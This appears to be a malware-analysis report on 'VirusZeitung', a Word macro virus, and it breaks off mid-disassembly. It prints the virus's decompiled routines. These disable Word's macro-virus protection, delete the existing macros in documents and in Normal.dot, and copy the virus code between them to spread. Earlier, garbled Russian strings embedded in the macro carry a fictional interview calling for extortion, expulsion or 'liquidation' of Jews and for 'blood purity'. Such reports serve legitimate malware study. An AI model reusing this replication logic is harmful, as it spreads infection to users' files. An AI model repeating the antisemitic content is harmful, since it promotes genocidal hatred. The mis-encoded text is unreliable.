    Artikel_3$ = "-  íŕ÷ŕëĺ íŕě ďđčäĺňń˙ äĺéńňâîâŕňü íĺëĺăŕëüíűěč ěĺňîäŕěč. Číîđîäöű ńčä˙ň âĺçäĺ č ďűňŕţňń˙ âńĺěč ńđĺäńňâŕěč îňňĺńíčňü íŕń îň đű÷ŕăîâ óďđŕâëĺíč˙; íŕăë˙äíűě ďđčěĺđîě ňîăî ˙âë˙ĺňń˙ çŕďđĺůĺíčĺ ďŕđňčč ""Đóńńęîĺ íŕöčîíŕëüíîĺ ĺäčíńňâî"" č îňěĺíŕ đĺăčńňđŕöčč äâčćĺíč˙ ""Ńďŕń"". Çŕ ýňî îíč äîëćíű ďîíĺńňč č ďîíĺńóň ńóđîâîĺ íŕęŕçŕíčĺ, íî ńíŕ÷ŕëŕ čç íčő íĺîáőîäčěî âűćŕňü âńĺ, ÷ňî ěîćĺň ďîéňč íŕ ďîëüçó Đîńńčč, ňî ĺńňü äĺíüăč, čěóůĺńňâî, çíŕíč˙, îďűň č ěíîăîĺ äđóăîĺ. Ďîńęîëüęó îíč íĺ îňäŕäóň íč÷ĺăî äîáđîâîëüíî, íŕě ďđčäĺňń˙ âç˙ňü ýňî ńčëîé. Âńĺ áîăŕňűĺ ĺâđĺč č ďđî÷čĺ číîđîäöű äîëćíű áűňü â íŕ÷ŕëĺ îáëîćĺíű íŕëîăîě íŕ ďđŕâî ćčňü â Đîńńčč čëč ďđčâëĺęŕňüń˙ ę đŕçíîăî đîäŕ ďđčíóäčňĺëüíűě âčäŕě äĺ˙ňĺëüíîńňč. Çŕ îňęŕç îň óďëŕňű äîëćíŕ ńëĺäîâŕňü đŕńďđŕâŕ íŕä äîëćíčęîě čëč ĺăî đîäíűěč."
   Case 9
    Artikel_3$ = "- Ďđŕâčëüíî ëč ˙ ďîí˙ë, ÷ňî Âű ďđĺäëŕăŕĺňĺ îáű÷íűé đýęĺň âńĺő ńîńňî˙ňĺëüíűő číîđîäöĺâ ?"
   Case 10
    Artikel_3$ = "- Äŕ, íĺęîňîđűĺ íŕçűâŕţň ýňî ňŕęčě îáđŕçîě."
   Case 11
    Artikel_3$ = "- Ŕ ęŕę âű îňíîńčňĺńü ę đóńńęčě, ńîńňî˙ůčě â ńěĺřŕííűő áđŕęŕő?"
   Case 12
    Artikel_3$ = "- ß ń÷čňŕţ ňŕęčő ëţäĺé ďđĺäŕňĺë˙ěč ńâîĺé íŕöčč, ęîňîđűĺ çŕńîđ˙ţň ăĺíîôîíä đóńńęîăî íŕđîäŕ đŕçíűě äĺđüěîě; îíč äîëćíű îáëŕăŕňüń˙ íŕđŕâíĺ ń âűřĺóďîě˙íóňűěč ęŕňĺăîđč˙ěč ăđŕćäŕí. Đîćäĺííűĺ â ňŕęčő áđŕęŕő äĺňč-ďîëóęđîâęč ďîäëĺćŕň ňîěó ćĺ îáëîćĺíčţ."
   Case 13
    Artikel_3$ = "- Ęŕę ďîíčěŕňü ńëîâî ""ďîëóęđîâęč"" ?  Íĺ ďűňŕĺňĺńü ëč Âű ââĺńňč ęóëüň ""÷čńňîňű ęđîâč"", âîńďĺňűé ęîăäŕ-ňî Ăčňëĺđîě č ĺăî ďîäđó÷íűěč?"
   Case 14
    Artikel_3$ = "- ""×čńňîňŕ ęđîâč"" ĺńňü íŕřŕ ďđîăđŕěěŕ-ěŕęńčěóě, îäíŕęî äî íĺĺ íŕě ĺůĺ î÷ĺíü äŕëĺęî. Äĺëî â ňîě, ÷ňî íŕř ăĺíîôîíä ńčëüíî çŕńîđĺí, č ĺăî î÷čńňęŕ ďîňđĺáóĺň íĺěŕëîăî âđĺěĺíč; ńĺé÷ŕń ěű äîëćíű îńňŕíîâčňü, íŕńęîëüęî ýňî âîçěîćíî, ďđîöĺńń ĺăî äŕëüíĺéřĺăî çŕńîđĺíč˙. Îńîáĺííî îďŕńíű â ýňîě îňíîřĺíčč ĺâđĺč: ýňîň íŕđîä äîëăîĺ âđĺě˙ ďîäâĺđăŕë ńĺá˙ číáđčäčíăó, â đĺçóëüňŕňĺ ÷ĺăî íŕęîďčë ăđîěŕäíîĺ ęîëč÷ĺńňâî îďŕńíűő, âďëîňü äî ëĺňŕëüíűő ăĺíîâ. Îíč â ďĺđâóţ î÷ĺđĺäü äîëćíű áűňü âűńëŕíű çŕ ďđĺäĺëű Đîńńčč čëč ëčęâčäčđîâŕíű. ×ňî ćĺ ęŕńŕĺňń˙ Ăčňëĺđŕ, ňî ęóëüň ""÷čńňîňű ęđîâč"" č ăĺíîöčä ĺâđĺĺâ ďđčäóěŕëč çŕäîëăî äî íĺăî; îí ňîëüęî óńîâĺđřĺíńňâîâŕë ýňî."
   Case 15
    Artikel_3$ = "- Ęŕęčĺ ęîíęđĺňíűĺ äĺéńňâč˙ âű ďđĺäďđčíčěŕĺňĺ â äŕííîě íŕďđŕâëĺíčč ?"
   Case 16
    Artikel_3$ = "- Ěű îňîáđŕëč íŕčáîëĺĺ ÷čńňîęđîâíűő ëţäĺé ńđĺäč ńâîčő ÷ëĺíîâ, č ďűňŕĺěń˙ âîçđîäčňü ńâîé čńęîííűé ăĺíîôîíä, íŕńęîëüęî ýňî äîďóńęŕĺň âîçěîćíîńňü. Äĺíüăč, íĺîáőîäčěűĺ äë˙ íŕřĺé äĺ˙ňĺëüíîńňč, áóäĺě âűęîëŕ÷čâŕňü čç ńîńňî˙ňĺëüíűő ĺâđĺĺâ, ňŕňŕđ č ďđî÷čő âűđîäęîâ, ďî íĺäîđŕçóěĺíč˙ îęŕçŕâřčőń˙ â ýňîé ńňđŕíĺ."
   Case 17
    Artikel_3$ = "- Âŕě íĺ ęŕćĺňń˙, ÷ňî â Ŕńňđŕőŕíč ňŕęŕ˙ çŕäŕ÷ŕ ěîćĺň îęŕçŕňüń˙ ÷đĺçâű÷ŕéíî ňđóäíîé, âĺäü ďđîöĺíň đóńńęčő  çäĺńü âĺńüěŕ íĺâĺëčę ?"
   Case 18
    Artikel_3$ = "- Ěű â ýňîě óâĺđĺíű, íî ę ňđóäíîńň˙ě ďđčâűęëč, č ń÷čňŕĺě çŕäŕ÷ó âďîëíĺ đŕçđĺřčěîé. Ęŕę ăîâîđčňń˙ â ďîăîâîđęĺ: ""äîđîăó îńčëčň čäóůčé""."
   Case 19
    Artikel_3$ = "- Ćĺëŕţ Âŕě óńďĺőŕ. Âńĺăî őîđîřĺăî !"
   Case 20
    Artikel_3$ = "- Äî ńâčäŕíč˙."
   Case Else
    Artikel_3$ = ""
  End Select
 End If
 If T = 3 Then
  Artikel_3$ = "Áĺńĺäó ďđîâîäčë íŕř ęîđđĺńďîíäĺíň  Ě. Â. ×óđčëîâ"
 End If
End Function















' Processing file: /opt/analyzer/scan_staging/7077e55eb3d741aca7bd8c40352d5014.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 33230 bytes
' Line #0:
' 	Dim (Const) 
' 	LitStr 0x000C "VirusZeitung"
' 	VarDefn E_Marker
' 	QuoteRem 0x0020 0x0010 "ńčăíŕňóđŕ âčđóńŕ"
' Line #1:
' 	QuoteRem 0x0000 0x0047 "čó îäë:ŔęäéÔíđâęé ëęŕä ôĺî  čŕëŘňëâ@Âđńńçŕč đŕč čŕĺńč,ŔĺńíđĹđěâčĚőč ŕŕî"
' Line #2:
' 	QuoteRem 0x0000 0x0001 "1"
' Line #3:
' 	QuoteRem 0x0000 0x0013 "íîěĺđ 1 çŕ 2000 ăîä"
' Line #4:
' 	Dim 
' 	VarDefn ad
' 	VarDefn nt (As Object)
' Line #5:
' 	Dim 
' 	VarDefn sd
' 	VarDefn snt (As Boolean)
' Line #6:
' Line #7:
' 	FuncDefn (Private Function NormalKontam(id_FFFE As Variant))
' Line #8:
' 	Ld E_Marker 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x2710 
' 	LitDI2 0x2710 
' 	Ld nt 
' 	MemLd codemodule 
' 	ArgsMemLd Find 0x0005 
' 	Not 
' 	IfBlock 
' Line #9:
' 	LitDI2 0x0000 
' 	St NormalKontam 
' Line #10:
' 	ElseBlock 
' Line #11:
' 	Ld nt 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	LitDI2 0x0003 
' 	Lt 
' 	IfBlock 
' Line #12:
' 	LitDI2 0x0000 
' 	St NormalKontam 
' Line #13:
' 	ElseBlock 
' Line #14:
' 	LitDI2 0x0003 
' 	Ld nt 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	Ld nt 
' 	MemLd codemodule 
' 	ArgsMemLd lines 0x0002 
' 	ArgsLd Trim 0x0001 
' 	St ant$ 
' Line #15:
' 	Ld ant$ 
' 	LitDI2 0x0002 
' 	Ld ant$ 
' 	FnLen 
' 	LitDI2 0x0001 
' 	Sub 
' 	ArgsLd Mid$ 0x0003 
' 	St ant$ 
' Line #16:
' 	Ld ant$ 
' 	ArgsLd Trim 0x0001 
' 	ArgsLd Val 0x0001 
' 	LitDI4 0xFFFF 0x0000 
' 	Lt 
' 	IfBlock 
' Line #17:
' 	Ld ant$ 
' 	ArgsLd Trim 0x0001 
' 	ArgsLd Val 0x0001 
' 	St NormalKontam 
' Line #18:
' 	ElseBlock 
' Line #19:
' 	LitDI2 0x0001 
' 	UMi 
' 	St NormalKontam 
' Line #20:
' 	EndIfBlock 
' Line #21:
' 	EndIfBlock 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	EndFunc 
' Line #24:
' Line #25:
' 	FuncDefn (Private Function ADokumKontam(id_FFFE As Variant))
' Line #26:
' 	Ld E_Marker 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x2710 
' 	LitDI2 0x2710 
' 	Ld ad 
' 	MemLd codemodule 
' 	ArgsMemLd Find 0x0005 
' 	Not 
' 	IfBlock 
' Line #27:
' 	LitDI2 0x0000 
' 	St ADokumKontam 
' Line #28:
' 	ElseBlock 
' Line #29:
' 	Ld ad 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	LitDI2 0x0003 
' 	Lt 
' 	IfBlock 
' Line #30:
' 	LitDI2 0x0000 
' 	St ADokumKontam 
' Line #31:
' 	ElseBlock 
' Line #32:
' 	LitDI2 0x0003 
' 	Ld ad 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	Ld ad 
' 	MemLd codemodule 
' 	ArgsMemLd lines 0x0002 
' 	ArgsLd Trim 0x0001 
' 	St ant$ 
' Line #33:
' 	Ld ant$ 
' 	LitDI2 0x0002 
' 	Ld ant$ 
' 	FnLen 
' 	LitDI2 0x0001 
' 	Sub 
' 	ArgsLd Mid$ 0x0003 
' 	St ant$ 
' Line #34:
' 	Ld ant$ 
' 	ArgsLd Trim 0x0001 
' 	ArgsLd Val 0x0001 
' 	LitDI4 0xFFFF 0x0000 
' 	Lt 
' 	IfBlock 
' Line #35:
' 	Ld ant$ 
' 	ArgsLd Trim 0x0001 
' 	ArgsLd Val 0x0001 
' 	St ADokumKontam 
' Line #36:
' 	ElseBlock 
' Line #37:
' 	LitDI2 0x0001 
' 	UMi 
' 	St ADokumKontam 
' Line #38:
' 	EndIfBlock 
' Line #39:
' 	EndIfBlock 
' Line #40:
' 	EndIfBlock 
' Line #41:
' 	EndFunc 
' Line #42:
' Line #43:
' 	FuncDefn (Private Sub VirusArbeit())
' Line #44:
' 	OnError (Resume Next) 
' Line #45:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #46:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set nt 
' Line #47:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set ad 
' Line #48:
' 	Ld ADokumKontam 
' 	Ld NormalKontam 
' 	Lt 
' 	Paren 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatDocument 
' 	Eq 
' 	Paren 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatTemplate 
' 	Eq 
' 	Paren 
' 	Or 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #49:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St sd 
' Line #50:
' 	Ld ad 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #51:
' 	LitStr 0x0003 "C:\"
' 	Ld ActiveDocument 
' 	MemLd ActiveWindow 
' 	MemLd Caption 
' 	Add 
' 	LitStr 0x0004 ".TXT"
' 	Add 
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Append)
' Line #52:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x002F "Ěŕęđîńű, áűâřčĺ â äîęóěĺíňĺ äî âíĺäđĺíč˙ âčđóńŕ"
' 	PrintItemNL 
' Line #53:
' 	StartForVariable 
' 	Ld v 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ad 
' 	MemLd codumodule 
' 	MemLd countoflines 
' 	For 
' Line #54:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld v 
' 	LitDI2 0x0001 
' 	Ld ad 
' 	MemLd codemodule 
' 	ArgsMemLd lines 0x0002 
' 	PrintItemNL 
' Line #55:
' 	StartForVariable 
' 	Ld v 
' 	EndForVariable 
' 	NextVar 
' Line #56:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #57:
' 	LitDI2 0x0001 
' 	Ld ad 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	Ld ad 
' 	MemLd codemodule 
' 	ArgsMemCall deletelines 0x0002 
' Line #58:
' 	EndIfBlock 
' Line #59:
' 	StartForVariable 
' 	Ld v 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld nt 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	For 
' Line #60:
' 	Ld v 
' 	Ld v 
' 	LitDI2 0x0001 
' 	Ld nt 
' 	MemLd codemodule 
' 	ArgsMemLd lines 0x0002 
' 	Ld ad 
' 	MemLd codemodule 
' 	ArgsMemCall insertlines 0x0002 
' Line #61:
' 	StartForVariable 
' 	Ld v 
' 	EndForVariable 
' 	NextVar 
' Line #62:
' 	Ld sd 
' 	LitVarSpecial (True)
' 	Eq 
' 	Paren 
' 	Ld ActiveDocument 
' 	MemLd ActiveWindow 
' 	MemLd Caption 
' 	LitDI2 0x0001 
' 	LitDI2 0x0008 
' 	ArgsLd Mid$ 0x0003 
' 	LitStr 0x0008 "Äîęóěĺíň"
' 	Ne 
' 	Paren 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #63:
' 	EndIfBlock 
' Line #64:
' Line #65:
' 	Ld ADokumKontam 
' 	Ld NormalKontam 
' 	Gt 
' 	IfBlock 
' Line #66:
' 	Ld NormalTemplate 
' 	MemLd Saved 
' 	St snt 
' Line #67:
' 	Ld nt 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #68:
' 	LitStr 0x000D "C:\NORMAL.TXT"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Append)
' Line #69:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0024 "Ěŕęđîńű, áűâřčĺ â řŕáëîíĺ Normal.dot"
' 	PrintItemNL 
' Line #70:
' 	StartForVariable 
' 	Ld v 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld nt 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	For 
' Line #71:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld v 
' 	LitDI2 0x0001 
' 	Ld nt 
' 	MemLd codemodule 
' 	ArgsMemLd lines 0x0002 
' 	PrintItemNL 
' Line #72:
' 	StartForVariable 
' 	Ld v 
' 	EndForVariable 
' 	NextVar 
' Line #73:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #74:
' 	LitDI2 0x0001 
' 	Ld nt 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	Ld nt 
' 	MemLd codemodule 
' 	ArgsMemCall deletelines 0x0002 
' Line #75:
' 	EndIfBlock 
' Line #76:
' 	StartForVariable 
' 	Ld v 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ad 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	For 
' Line #77:
' 	Ld v 
' 	Ld v 
' 	LitDI2 0x0001 
' 	Ld ad 
' 	MemLd codemodule 
' 	ArgsMemLd lines 0x0002 
' 	Ld nt 
' 	MemLd codemodule 
' 	ArgsMemCall insertlines 0x0002 
' Line #78:
' 	StartForVariable 
' 	Ld v 
' 	EndForVariable 
' 	NextVar 
' Line #79:
' 	Ld snt 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #80:
' 	EndIfBlock 
' Line #81:
' 	SetStmt 
' 	LitNothing 
' 	Set nt 
' Line #82:
' 	SetStmt 
' 	LitNothing 
' 	Set ad 
' Line #83:
' 	EndSub 
' Line #84:
' Line #85:
' 	FuncDefn (Private Sub HauptArbeit(p))
' Line #86:
' 	LitStr 0x0000 ""
' 	St Tag$ 
' Line #87:
' 	LitStr 0x0000 ""
' 	St Monat$ 
' Line #88:
' 	Ld Date 
' 	ArgsLd Trim 0x0001 
' 	St datum$ 
' Line #89:
' 	LitDI2 0x0001 
' 	St i 
' Line #90:
' 	Ld datum$ 
' 	Ld i 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	LitStr 0x0001 "."
' 	Ne 
' 	Paren 
' 	Ld i 
' 	Ld datum$ 
' 	FnLen 
' 	Lt 
' 	Paren 
' 	And 
' 	While 
' Line #91:
' 	Ld Tag$ 
' 	Ld datum$ 
' 	Ld i 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	Add 
' 	St Tag$ 
' Line #92:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Add 
' 	St i 
' Line #93:
' 	Wend 
' Line #94:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Add 
' 	St i 
' Line #95:
' 	Ld datum$ 
' 	Ld i 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	LitStr 0x0001 "."
' 	Ne 
' 	Paren 
' 	Ld i 
' 	Ld datum$ 
' 	FnLen 
' 	Lt 
' 	Paren 
' 	And 
' 	While 
' Line #96:
' 	Ld Monat$ 
' 	Ld datum$ 
' 	Ld i 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	Add 
' 	St Monat$ 
' Line #97:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Add 
' 	St i 
' Line #98:
' 	Wend 
' Line #99:
' Line #100:
' 	Ld Monat$ 
' 	ArgsLd Val 0x0001 
' 	LitDI2 0x0002 
' 	Eq 
' 	Paren 
' 	Ld Tag$ 
' 	ArgsLd Val 0x0001 
' 	LitDI2 0x0002 
' 	Eq 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #101:
' 	LitDI2 0x0002 
' 	St p 
' Line #102:
' 	EndIfBlock 
' Line #103:
' 	Ld Monat$ 
' 	ArgsLd Val 0x0001 
' 	LitDI2 0x0003 
' 	Eq 
' 	Paren 
' 	Ld Tag$ 
' 	ArgsLd Val 0x0001 
' 	LitDI2 0x0015 
' 	Eq 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #104:
' 	LitDI2 0x0002 
' 	St p 
' Line #105:
' 	EndIfBlock 
' Line #106:
' 	Ld Monat$ 
' 	ArgsLd Val 0x0001 
' 	LitDI2 0x0004 
' 	Eq 
' 	Paren 
' 	Ld Tag$ 
' 	ArgsLd Val 0x0001 
' 	LitDI2 0x001E 
' 	Eq 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #107:
' 	LitDI2 0x0002 
' 	St p 
' Line #108:
' 	EndIfBlock 
' Line #109:
' 	Ld Monat$ 
' 	ArgsLd Val 0x0001 
' 	LitDI2 0x0006 
' 	Eq 
' 	Paren 
' 	Ld Tag$ 
' 	ArgsLd Val 0x0001 
' 	LitDI2 0x0015 
' 	Eq 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #110:
' 	LitDI2 0x0002 
' 	St p 
' Line #111:
' 	EndIfBlock 
' Line #112:
' 	Ld Monat$ 
' 	ArgsLd Val 0x0001 
' 	LitDI2 0x0008 
' 	Eq 
' 	Paren 
' 	Ld Tag$ 
' 	ArgsLd Val 0x0001 
' 	LitDI2 0x0002 
' 	Eq 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #113:
' 	LitDI2 0x0002 
' 	St p 
' Line #114:
' 	EndIfBlock 
' Line #115:
' 	Ld Monat$ 
' 	ArgsLd Val 0x0001 
' 	LitDI2 0x0009 
' 	Eq 
' 	Paren 
' 	Ld Tag$ 
' 	ArgsLd Val 0x0001 
' 	LitDI2 0x0015 
' 	Eq 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #116:
' 	LitDI2 0x0002 
' 	St p 
' Line #117:
' 	EndIfBlock 
' Line #118:
' 	Ld Monat$ 
' 	ArgsLd Val 0x0001 
' 	LitDI2 0x000A 
' 	Eq 
' 	Paren 
' 	Ld Tag$ 
' 	ArgsLd Val 0x0001 
' 	LitDI2 0x001F 
' 	Eq 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #119:
…

Open this report in the interactive analyzer, or submit your own file for analysis.